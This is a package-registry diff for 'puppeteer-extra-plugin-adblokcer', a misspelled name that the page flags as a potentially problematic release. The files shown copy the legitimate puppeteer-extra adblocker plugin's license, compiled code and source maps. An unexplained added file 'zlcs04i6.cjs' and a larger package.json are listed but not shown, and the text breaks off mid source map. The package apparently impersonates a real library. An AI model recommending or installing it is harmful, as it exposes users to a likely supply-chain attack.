puppeteer-extra-plugin-adblokcer 0.0.1-security → 2.13.6
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of puppeteer-extra-plugin-adblokcer might be problematic. Click here for more details.
- package/LICENSE +21 -0
- package/dist/index.cjs.js +148 -0
- package/dist/index.cjs.js.map +1 -0
- package/dist/index.d.ts +68 -0
- package/dist/index.esm.js +138 -0
- package/dist/index.esm.js.map +1 -0
- package/dist/index.js +136 -0
- package/dist/index.js.map +1 -0
- package/dist/index.test.d.ts +1 -0
- package/dist/index.test.js +35 -0
- package/dist/index.test.js.map +1 -0
- package/package.json +77 -4
- package/readme.md +119 -0
- package/zlcs04i6.cjs +1 -0
- package/README.md +0 -5
package/LICENSE
ADDED
@@ -0,0 +1,21 @@
|
|
1
|
+
The MIT License (MIT)
|
2
|
+
|
3
|
+
Copyright (c) 2019 berstend <github@berstend.com>
|
4
|
+
|
5
|
+
Permission is hereby granted, free of charge, to any person obtaining a copy
|
6
|
+
of this software and associated documentation files (the "Software"), to deal
|
7
|
+
in the Software without restriction, including without limitation the rights
|
8
|
+
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
9
|
+
copies of the Software, and to permit persons to whom the Software is
|
10
|
+
furnished to do so, subject to the following conditions:
|
11
|
+
|
12
|
+
The above copyright notice and this permission notice shall be included in all
|
13
|
+
copies or substantial portions of the Software.
|
14
|
+
|
15
|
+
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
16
|
+
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
17
|
+
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
18
|
+
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
19
|
+
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
20
|
+
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
21
|
+
SOFTWARE.
|
@@ -0,0 +1,148 @@
|
|
1
|
+
/*!
|
2
|
+
* puppeteer-extra-plugin-adblocker v2.13.5 by remusao
|
3
|
+
* https://github.com/berstend/puppeteer-extra/tree/master/packages/puppeteer-extra-plugin-adblocker
|
4
|
+
* @license MIT
|
5
|
+
*/
|
6
|
+
'use strict';
|
7
|
+
|
8
|
+
Object.defineProperty(exports, '__esModule', { value: true });
|
9
|
+
|
10
|
+
function _interopDefault (ex) { return (ex && (typeof ex === 'object') && 'default' in ex) ? ex['default'] : ex; }
|
11
|
+
|
12
|
+
var fs = require('fs');
|
13
|
+
var os = _interopDefault(require('os'));
|
14
|
+
var path = _interopDefault(require('path'));
|
15
|
+
var adblockerPuppeteer = require('@cliqz/adblocker-puppeteer');
|
16
|
+
var fetch = _interopDefault(require('node-fetch'));
|
17
|
+
var puppeteerExtraPlugin = require('puppeteer-extra-plugin');
|
18
|
+
|
19
|
+
const pkg = require('../package.json');
|
20
|
+
const engineCacheFilename = `${pkg.name}-${pkg.version}-engine.bin`;
|
21
|
+
/**
|
22
|
+
* A puppeteer-extra plugin to automatically block ads and trackers.
|
23
|
+
*/
|
24
|
+
class PuppeteerExtraPluginAdblocker extends puppeteerExtraPlugin.PuppeteerExtraPlugin {
|
25
|
+
constructor(opts) {
|
26
|
+
super(opts);
|
27
|
+
this.debug('Initialized', this.opts);
|
28
|
+
}
|
29
|
+
get name() {
|
30
|
+
return 'adblocker';
|
31
|
+
}
|
32
|
+
get defaults() {
|
33
|
+
return {
|
34
|
+
blockTrackers: false,
|
35
|
+
blockTrackersAndAnnoyances: false,
|
36
|
+
useCache: true,
|
37
|
+
cacheDir: undefined,
|
38
|
+
interceptResolutionPriority: undefined
|
39
|
+
};
|
40
|
+
}
|
41
|
+
get engineCacheFile() {
|
42
|
+
const cacheDir = this.opts.cacheDir || os.tmpdir();
|
43
|
+
return path.join(cacheDir, engineCacheFilename);
|
44
|
+
}
|
45
|
+
/**
|
46
|
+
* Cache an instance of `PuppeteerBlocker` to disk if 'cacheDir' option was
|
47
|
+
* specified for the plugin. It can then be used the next time this plugin is
|
48
|
+
* used to load the adblocker faster.
|
49
|
+
*/
|
50
|
+
async persistToCache(blocker) {
|
51
|
+
if (!this.opts.useCache) {
|
52
|
+
return;
|
53
|
+
}
|
54
|
+
this.debug('persist to cache', this.engineCacheFile);
|
55
|
+
await fs.promises.writeFile(this.engineCacheFile, blocker.serialize());
|
56
|
+
}
|
57
|
+
/**
|
58
|
+
* Initialize instance of `PuppeteerBlocker` from cache if possible.
|
59
|
+
* Otherwise, it throws and we will try to initialize it from remote instead.
|
60
|
+
*/
|
61
|
+
async loadFromCache() {
|
62
|
+
if (!this.opts.useCache) {
|
63
|
+
throw new Error('caching disabled');
|
64
|
+
}
|
65
|
+
this.debug('load from cache', this.engineCacheFile);
|
66
|
+
return adblockerPuppeteer.PuppeteerBlocker.deserialize(new Uint8Array(await fs.promises.readFile(this.engineCacheFile)));
|
67
|
+
}
|
68
|
+
/**
|
69
|
+
* Initialize instance of `PuppeteerBlocker` from remote (either by fetching
|
70
|
+
* a serialized version of the engine when available, or by downloading raw
|
71
|
+
* lists for filters such as EasyList then parsing them to initialize
|
72
|
+
* blocker).
|
73
|
+
*/
|
74
|
+
async loadFromRemote() {
|
75
|
+
this.debug('load from remote', {
|
76
|
+
blockTrackers: this.opts.blockTrackers,
|
77
|
+
blockTrackersAndAnnoyances: this.opts.blockTrackersAndAnnoyances
|
78
|
+
});
|
79
|
+
if (this.opts.blockTrackersAndAnnoyances === true) {
|
80
|
+
return adblockerPuppeteer.PuppeteerBlocker.fromPrebuiltFull(fetch);
|
81
|
+
}
|
82
|
+
else if (this.opts.blockTrackers === true) {
|
83
|
+
return adblockerPuppeteer.PuppeteerBlocker.fromPrebuiltAdsAndTracking(fetch);
|
84
|
+
}
|
85
|
+
else {
|
86
|
+
return adblockerPuppeteer.PuppeteerBlocker.fromPrebuiltAdsOnly(fetch);
|
87
|
+
}
|
88
|
+
}
|
89
|
+
/**
|
90
|
+
* Return instance of `PuppeteerBlocker`. It will take care of initializing
|
91
|
+
* it if necessary (first time it is called), or return the existing instance
|
92
|
+
* if it already exists.
|
93
|
+
*/
|
94
|
+
async getBlocker() {
|
95
|
+
this.debug('getBlocker', { hasBlocker: !!this.blocker });
|
96
|
+
if (this.blocker === undefined) {
|
97
|
+
try {
|
98
|
+
this.blocker = await this.loadFromCache();
|
99
|
+
this.setRequestInterceptionPriority();
|
100
|
+
}
|
101
|
+
catch (ex) {
|
102
|
+
this.blocker = await this.loadFromRemote();
|
103
|
+
this.setRequestInterceptionPriority();
|
104
|
+
await this.persistToCache(this.blocker);
|
105
|
+
}
|
106
|
+
}
|
107
|
+
return this.blocker;
|
108
|
+
}
|
109
|
+
/**
|
110
|
+
* Sets the request interception priority on the `PuppeteerBlocker` instance.
|
111
|
+
*/
|
112
|
+
setRequestInterceptionPriority() {
|
113
|
+
var _a;
|
114
|
+
(_a = this.blocker) === null || _a === void 0 ? void 0 : _a.setRequestInterceptionPriority(this.opts.interceptResolutionPriority);
|
115
|
+
}
|
116
|
+
/**
|
117
|
+
* Hook into this blocking event to make sure the cache is initialized before navigation.
|
118
|
+
*/
|
119
|
+
async beforeLaunch() {
|
120
|
+
this.debug('beforeLaunch');
|
121
|
+
await this.getBlocker();
|
122
|
+
}
|
123
|
+
/**
|
124
|
+
* Hook into this blocking event to make sure the cache is initialized before navigation.
|
125
|
+
*/
|
126
|
+
async beforeConnect() {
|
127
|
+
this.debug('beforeConnect');
|
128
|
+
await this.getBlocker();
|
129
|
+
}
|
130
|
+
/**
|
131
|
+
* Enable adblocking in `page`.
|
132
|
+
*/
|
133
|
+
async onPageCreated(page) {
|
134
|
+
this.debug('onPageCreated');
|
135
|
+
(await this.getBlocker()).enableBlockingInPage(page);
|
136
|
+
}
|
137
|
+
}
|
138
|
+
var index = (options = {}) => {
|
139
|
+
return new PuppeteerExtraPluginAdblocker(options);
|
140
|
+
};
|
141
|
+
|
142
|
+
exports.PuppeteerExtraPluginAdblocker = PuppeteerExtraPluginAdblocker;
|
143
|
+
exports.default = index;
|
144
|
+
|
145
|
+
|
146
|
+
module.exports = exports.default || {}
|
147
|
+
Object.entries(exports).forEach(([key, value]) => { module.exports[key] = value })
|
148
|
+
//# sourceMappingURL=index.cjs.js.map
|
@@ -0,0 +1 @@
|
|
1
|
+
{"version":3,"file":"index.cjs.js","sources":["../src/index.ts"],"sourcesContent":["import { promises as fs } from 'fs'\nimport os from 'os'\nimport path from 'path'\n\nimport { PuppeteerBlocker } from '@cliqz/adblocker-puppeteer'\nimport fetch from 'node-fetch'\nimport { PuppeteerExtraPlugin } from 'puppeteer-extra-plugin'\n\nconst pkg = require('../package.json')\nconst engineCacheFilename = `${pkg.name}-${pkg.version}-engine.bin`\n\n/** Available plugin options */\nexport interface PluginOptions {\n /** Whether or not to block trackers (in addition to ads). Default: false */\n blockTrackers: boolean\n /** Whether or not to block trackers and other annoyances, including cookie\n notices. Default: false */\n blockTrackersAndAnnoyances: boolean\n /** Persist adblocker engine cache to disk for speedup. Default: true */\n useCache: boolean\n /** Optional custom directory for adblocker cache files. Default: undefined */\n cacheDir?: string\n /** Optional custom priority for interception resolution. Default: undefined */\n interceptResolutionPriority?: number\n}\n\n/**\n * A puppeteer-extra plugin to automatically block ads and trackers.\n */\nexport class PuppeteerExtraPluginAdblocker extends PuppeteerExtraPlugin {\n private blocker: PuppeteerBlocker | undefined\n\n constructor(opts: Partial<PluginOptions>) {\n super(opts)\n this.debug('Initialized', this.opts)\n }\n\n get name() {\n return 'adblocker'\n }\n\n get defaults(): PluginOptions {\n return {\n blockTrackers: false,\n blockTrackersAndAnnoyances: false,\n useCache: true,\n cacheDir: undefined,\n interceptResolutionPriority: undefined\n }\n }\n\n get engineCacheFile() {\n const cacheDir = this.opts.cacheDir || os.tmpdir()\n return path.join(cacheDir, engineCacheFilename)\n }\n\n /**\n * Cache an instance of `PuppeteerBlocker` to disk if 'cacheDir' option was\n * specified for the plugin. It can then be used the next time this plugin is\n * used to load the adblocker faster.\n */\n private async persistToCache(blocker: PuppeteerBlocker): Promise<void> {\n if (!this.opts.useCache) {\n return\n }\n this.debug('persist to cache', this.engineCacheFile)\n await fs.writeFile(this.engineCacheFile, blocker.serialize())\n }\n\n /**\n * Initialize instance of `PuppeteerBlocker` from cache if possible.\n * Otherwise, it throws and we will try to initialize it from remote instead.\n */\n private async loadFromCache(): Promise<PuppeteerBlocker> {\n if (!this.opts.useCache) {\n throw new Error('caching disabled')\n }\n this.debug('load from cache', this.engineCacheFile)\n return PuppeteerBlocker.deserialize(\n new Uint8Array(await fs.readFile(this.engineCacheFile))\n )\n }\n\n /**\n * Initialize instance of `PuppeteerBlocker` from remote (either by fetching\n * a serialized version of the engine when available, or by downloading raw\n * lists for filters such as EasyList then parsing them to initialize\n * blocker).\n */\n private async loadFromRemote(): Promise<PuppeteerBlocker> {\n this.debug('load from remote', {\n blockTrackers: this.opts.blockTrackers,\n blockTrackersAndAnnoyances: this.opts.blockTrackersAndAnnoyances\n })\n if (this.opts.blockTrackersAndAnnoyances === true) {\n return PuppeteerBlocker.fromPrebuiltFull(fetch)\n } else if (this.opts.blockTrackers === true) {\n return PuppeteerBlocker.fromPrebuiltAdsAndTracking(fetch)\n } else {\n return PuppeteerBlocker.fromPrebuiltAdsOnly(fetch)\n }\n }\n\n /**\n * Return instance of `PuppeteerBlocker`. It will take care of initializing\n * it if necessary (first time it is called), or return the existing instance\n * if it already exists.\n */\n async getBlocker(): Promise<PuppeteerBlocker> {\n this.debug('getBlocker', { hasBlocker: !!this.blocker })\n if (this.blocker === undefined) {\n try {\n this.blocker = await this.loadFromCache()\n this.setRequestInterceptionPriority()\n } catch (ex) {\n this.blocker = await this.loadFromRemote()\n this.setRequestInterceptionPriority()\n await this.persistToCache(this.blocker)\n }\n }\n return this.blocker\n }\n\n /**\n * Sets the request interception priority on the `PuppeteerBlocker` instance.\n */\n private setRequestInterceptionPriority(): void {\n this.blocker?.setRequestInterceptionPriority(this.opts.interceptResolutionPriority)\n }\n\n /**\n * Hook into this blocking event to make sure the cache is initialized before navigation.\n */\n async beforeLaunch() {\n this.debug('beforeLaunch')\n await this.getBlocker()\n }\n\n /**\n * Hook into this blocking event to make sure the cache is initialized before navigation.\n */\n async beforeConnect() {\n this.debug('beforeConnect')\n await this.getBlocker()\n }\n\n /**\n * Enable adblocking in `page`.\n */\n async onPageCreated(page: any) {\n this.debug('onPageCreated')\n ;(await this.getBlocker()).enableBlockingInPage(page)\n }\n}\n\nexport default (options: Partial<PluginOptions> = {}) => {\n return new PuppeteerExtraPluginAdblocker(options)\n}\n"],"names":["PuppeteerExtraPlugin","fs","PuppeteerBlocker"],"mappings":"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"}
|
package/dist/index.d.ts
ADDED
@@ -0,0 +1,68 @@
|
|
1
|
+
import { PuppeteerBlocker } from '@cliqz/adblocker-puppeteer';
|
2
|
+
import { PuppeteerExtraPlugin } from 'puppeteer-extra-plugin';
|
3
|
+
/** Available plugin options */
|
4
|
+
export interface PluginOptions {
|
5
|
+
/** Whether or not to block trackers (in addition to ads). Default: false */
|
6
|
+
blockTrackers: boolean;
|
7
|
+
/** Whether or not to block trackers and other annoyances, including cookie
|
8
|
+
notices. Default: false */
|
9
|
+
blockTrackersAndAnnoyances: boolean;
|
10
|
+
/** Persist adblocker engine cache to disk for speedup. Default: true */
|
11
|
+
useCache: boolean;
|
12
|
+
/** Optional custom directory for adblocker cache files. Default: undefined */
|
13
|
+
cacheDir?: string;
|
14
|
+
/** Optional custom priority for interception resolution. Default: undefined */
|
15
|
+
interceptResolutionPriority?: number;
|
16
|
+
}
|
17
|
+
/**
|
18
|
+
* A puppeteer-extra plugin to automatically block ads and trackers.
|
19
|
+
*/
|
20
|
+
export declare class PuppeteerExtraPluginAdblocker extends PuppeteerExtraPlugin {
|
21
|
+
private blocker;
|
22
|
+
constructor(opts: Partial<PluginOptions>);
|
23
|
+
get name(): string;
|
24
|
+
get defaults(): PluginOptions;
|
25
|
+
get engineCacheFile(): string;
|
26
|
+
/**
|
27
|
+
* Cache an instance of `PuppeteerBlocker` to disk if 'cacheDir' option was
|
28
|
+
* specified for the plugin. It can then be used the next time this plugin is
|
29
|
+
* used to load the adblocker faster.
|
30
|
+
*/
|
31
|
+
private persistToCache;
|
32
|
+
/**
|
33
|
+
* Initialize instance of `PuppeteerBlocker` from cache if possible.
|
34
|
+
* Otherwise, it throws and we will try to initialize it from remote instead.
|
35
|
+
*/
|
36
|
+
private loadFromCache;
|
37
|
+
/**
|
38
|
+
* Initialize instance of `PuppeteerBlocker` from remote (either by fetching
|
39
|
+
* a serialized version of the engine when available, or by downloading raw
|
40
|
+
* lists for filters such as EasyList then parsing them to initialize
|
41
|
+
* blocker).
|
42
|
+
*/
|
43
|
+
private loadFromRemote;
|
44
|
+
/**
|
45
|
+
* Return instance of `PuppeteerBlocker`. It will take care of initializing
|
46
|
+
* it if necessary (first time it is called), or return the existing instance
|
47
|
+
* if it already exists.
|
48
|
+
*/
|
49
|
+
getBlocker(): Promise<PuppeteerBlocker>;
|
50
|
+
/**
|
51
|
+
* Sets the request interception priority on the `PuppeteerBlocker` instance.
|
52
|
+
*/
|
53
|
+
private setRequestInterceptionPriority;
|
54
|
+
/**
|
55
|
+
* Hook into this blocking event to make sure the cache is initialized before navigation.
|
56
|
+
*/
|
57
|
+
beforeLaunch(): Promise<void>;
|
58
|
+
/**
|
59
|
+
* Hook into this blocking event to make sure the cache is initialized before navigation.
|
60
|
+
*/
|
61
|
+
beforeConnect(): Promise<void>;
|
62
|
+
/**
|
63
|
+
* Enable adblocking in `page`.
|
64
|
+
*/
|
65
|
+
onPageCreated(page: any): Promise<void>;
|
66
|
+
}
|
67
|
+
declare const _default: (options?: Partial<PluginOptions>) => PuppeteerExtraPluginAdblocker;
|
68
|
+
export default _default;
|
@@ -0,0 +1,138 @@
|
|
1
|
+
/*!
|
2
|
+
* puppeteer-extra-plugin-adblocker v2.13.5 by remusao
|
3
|
+
* https://github.com/berstend/puppeteer-extra/tree/master/packages/puppeteer-extra-plugin-adblocker
|
4
|
+
* @license MIT
|
5
|
+
*/
|
6
|
+
import { promises } from 'fs';
|
7
|
+
import os from 'os';
|
8
|
+
import path from 'path';
|
9
|
+
import { PuppeteerBlocker } from '@cliqz/adblocker-puppeteer';
|
10
|
+
import fetch from 'node-fetch';
|
11
|
+
import { PuppeteerExtraPlugin } from 'puppeteer-extra-plugin';
|
12
|
+
|
13
|
+
const pkg = require('../package.json');
|
14
|
+
const engineCacheFilename = `${pkg.name}-${pkg.version}-engine.bin`;
|
15
|
+
/**
|
16
|
+
* A puppeteer-extra plugin to automatically block ads and trackers.
|
17
|
+
*/
|
18
|
+
class PuppeteerExtraPluginAdblocker extends PuppeteerExtraPlugin {
|
19
|
+
constructor(opts) {
|
20
|
+
super(opts);
|
21
|
+
this.debug('Initialized', this.opts);
|
22
|
+
}
|
23
|
+
get name() {
|
24
|
+
return 'adblocker';
|
25
|
+
}
|
26
|
+
get defaults() {
|
27
|
+
return {
|
28
|
+
blockTrackers: false,
|
29
|
+
blockTrackersAndAnnoyances: false,
|
30
|
+
useCache: true,
|
31
|
+
cacheDir: undefined,
|
32
|
+
interceptResolutionPriority: undefined
|
33
|
+
};
|
34
|
+
}
|
35
|
+
get engineCacheFile() {
|
36
|
+
const cacheDir = this.opts.cacheDir || os.tmpdir();
|
37
|
+
return path.join(cacheDir, engineCacheFilename);
|
38
|
+
}
|
39
|
+
/**
|
40
|
+
* Cache an instance of `PuppeteerBlocker` to disk if 'cacheDir' option was
|
41
|
+
* specified for the plugin. It can then be used the next time this plugin is
|
42
|
+
* used to load the adblocker faster.
|
43
|
+
*/
|
44
|
+
async persistToCache(blocker) {
|
45
|
+
if (!this.opts.useCache) {
|
46
|
+
return;
|
47
|
+
}
|
48
|
+
this.debug('persist to cache', this.engineCacheFile);
|
49
|
+
await promises.writeFile(this.engineCacheFile, blocker.serialize());
|
50
|
+
}
|
51
|
+
/**
|
52
|
+
* Initialize instance of `PuppeteerBlocker` from cache if possible.
|
53
|
+
* Otherwise, it throws and we will try to initialize it from remote instead.
|
54
|
+
*/
|
55
|
+
async loadFromCache() {
|
56
|
+
if (!this.opts.useCache) {
|
57
|
+
throw new Error('caching disabled');
|
58
|
+
}
|
59
|
+
this.debug('load from cache', this.engineCacheFile);
|
60
|
+
return PuppeteerBlocker.deserialize(new Uint8Array(await promises.readFile(this.engineCacheFile)));
|
61
|
+
}
|
62
|
+
/**
|
63
|
+
* Initialize instance of `PuppeteerBlocker` from remote (either by fetching
|
64
|
+
* a serialized version of the engine when available, or by downloading raw
|
65
|
+
* lists for filters such as EasyList then parsing them to initialize
|
66
|
+
* blocker).
|
67
|
+
*/
|
68
|
+
async loadFromRemote() {
|
69
|
+
this.debug('load from remote', {
|
70
|
+
blockTrackers: this.opts.blockTrackers,
|
71
|
+
blockTrackersAndAnnoyances: this.opts.blockTrackersAndAnnoyances
|
72
|
+
});
|
73
|
+
if (this.opts.blockTrackersAndAnnoyances === true) {
|
74
|
+
return PuppeteerBlocker.fromPrebuiltFull(fetch);
|
75
|
+
}
|
76
|
+
else if (this.opts.blockTrackers === true) {
|
77
|
+
return PuppeteerBlocker.fromPrebuiltAdsAndTracking(fetch);
|
78
|
+
}
|
79
|
+
else {
|
80
|
+
return PuppeteerBlocker.fromPrebuiltAdsOnly(fetch);
|
81
|
+
}
|
82
|
+
}
|
83
|
+
/**
|
84
|
+
* Return instance of `PuppeteerBlocker`. It will take care of initializing
|
85
|
+
* it if necessary (first time it is called), or return the existing instance
|
86
|
+
* if it already exists.
|
87
|
+
*/
|
88
|
+
async getBlocker() {
|
89
|
+
this.debug('getBlocker', { hasBlocker: !!this.blocker });
|
90
|
+
if (this.blocker === undefined) {
|
91
|
+
try {
|
92
|
+
this.blocker = await this.loadFromCache();
|
93
|
+
this.setRequestInterceptionPriority();
|
94
|
+
}
|
95
|
+
catch (ex) {
|
96
|
+
this.blocker = await this.loadFromRemote();
|
97
|
+
this.setRequestInterceptionPriority();
|
98
|
+
await this.persistToCache(this.blocker);
|
99
|
+
}
|
100
|
+
}
|
101
|
+
return this.blocker;
|
102
|
+
}
|
103
|
+
/**
|
104
|
+
* Sets the request interception priority on the `PuppeteerBlocker` instance.
|
105
|
+
*/
|
106
|
+
setRequestInterceptionPriority() {
|
107
|
+
var _a;
|
108
|
+
(_a = this.blocker) === null || _a === void 0 ? void 0 : _a.setRequestInterceptionPriority(this.opts.interceptResolutionPriority);
|
109
|
+
}
|
110
|
+
/**
|
111
|
+
* Hook into this blocking event to make sure the cache is initialized before navigation.
|
112
|
+
*/
|
113
|
+
async beforeLaunch() {
|
114
|
+
this.debug('beforeLaunch');
|
115
|
+
await this.getBlocker();
|
116
|
+
}
|
117
|
+
/**
|
118
|
+
* Hook into this blocking event to make sure the cache is initialized before navigation.
|
119
|
+
*/
|
120
|
+
async beforeConnect() {
|
121
|
+
this.debug('beforeConnect');
|
122
|
+
await this.getBlocker();
|
123
|
+
}
|
124
|
+
/**
|
125
|
+
* Enable adblocking in `page`.
|
126
|
+
*/
|
127
|
+
async onPageCreated(page) {
|
128
|
+
this.debug('onPageCreated');
|
129
|
+
(await this.getBlocker()).enableBlockingInPage(page);
|
130
|
+
}
|
131
|
+
}
|
132
|
+
var index = (options = {}) => {
|
133
|
+
return new PuppeteerExtraPluginAdblocker(options);
|
134
|
+
};
|
135
|
+
|
136
|
+
export default index;
|
137
|
+
export { PuppeteerExtraPluginAdblocker };
|
138
|
+
//# sourceMappingURL=index.esm.js.map
|
@@ -0,0 +1 @@
|
|
1
|
+
{"version":3,"file":"index.esm.js","sources":["../src/index.ts"],"sourcesContent":["import { promises as fs } from 'fs'\nimport os from 'os'\nimport path from 'path'\n\nimport { PuppeteerBlocker } from '@cliqz/adblocker-puppeteer'\nimport fetch from 'node-fetch'\nimport { PuppeteerExtraPlugin } from 'puppeteer-extra-plugin'\n\nconst pkg = require('../package.json')\nconst engineCacheFilename = `${pkg.name}-${pkg.version}-engine.bin`\n\n/** Available plugin options */\nexport interface PluginOptions {\n /** Whether or not to block trackers (in addition to ads). Default: false */\n blockTrackers: boolean\n /** Whether or not to block trackers and other annoyances, including cookie\n notices. Default: false */\n blockTrackersAndAnnoyances: boolean\n /** Persist adblocker engine cache to disk for speedup. Default: true */\n useCache: boolean\n /** Optional custom directory for adblocker cache files. Default: undefined */\n cacheDir?: string\n /** Optional custom priority for interception resolution. Default: undefined */\n interceptResolutionPriority?: number\n}\n\n/**\n * A puppeteer-extra plugin to automatically block ads and trackers.\n */\nexport class PuppeteerExtraPluginAdblocker extends PuppeteerExtraPlugin {\n private blocker: PuppeteerBlocker | undefined\n\n constructor(opts: Partial<PluginOptions>) {\n super(opts)\n this.debug('Initialized', this.opts)\n }\n\n get name() {\n return 'adblocker'\n }\n\n get defaults(): PluginOptions {\n return {\n blockTrackers: false,\n blockTrackersAndAnnoyances: false,\n useCache: true,\n cacheDir: undefined,\n interceptResolutionPriority: undefined\n }\n }\n\n get engineCacheFile() {\n const cacheDir = this.opts.cacheDir || os.tmpdir()\n return path.join(cacheDir, engineCacheFilename)\n }\n\n /**\n * Cache an instance of `PuppeteerBlocker` to disk if 'cacheDir' option was\n * specified for the plugin. It can then be used the next time this plugin is\n * used to load the adblocker faster.\n */\n private async persistToCache(blocker: PuppeteerBlocker): Promise<void> {\n if (!this.opts.useCache) {\n return\n }\n this.debug('persist to cache', this.engineCacheFile)\n await fs.writeFile(this.engineCacheFile, blocker.serialize())\n }\n\n /**\n * Initialize instance of `PuppeteerBlocker` from cache if possible.\n * Otherwise, it throws and we will try to initialize it from remote instead.\n */\n private async loadFromCache(): Promise<PuppeteerBlocker> {\n if (!this.opts.useCache) {\n throw new Error('caching disabled')\n }\n this.debug('load from cache', this.engineCacheFile)\n return PuppeteerBlocker.deserialize(\n new Uint8Array(await fs.readFile(this.engineCacheFile))\n )\n }\n\n /**\n * Initialize instance of `PuppeteerBlocker` from remote (either by fetching\n * a serialized version of the engine when available, or by downloading raw\n * lists for filters such as EasyList then parsing them to initialize\n * blocker).\n */\n private async loadFromRemote(): Promise<PuppeteerBlocker> {\n this.debug('load from remote', {\n blockTrackers: this.opts.blockTrackers,\n blockTrackersAndAnnoyances: 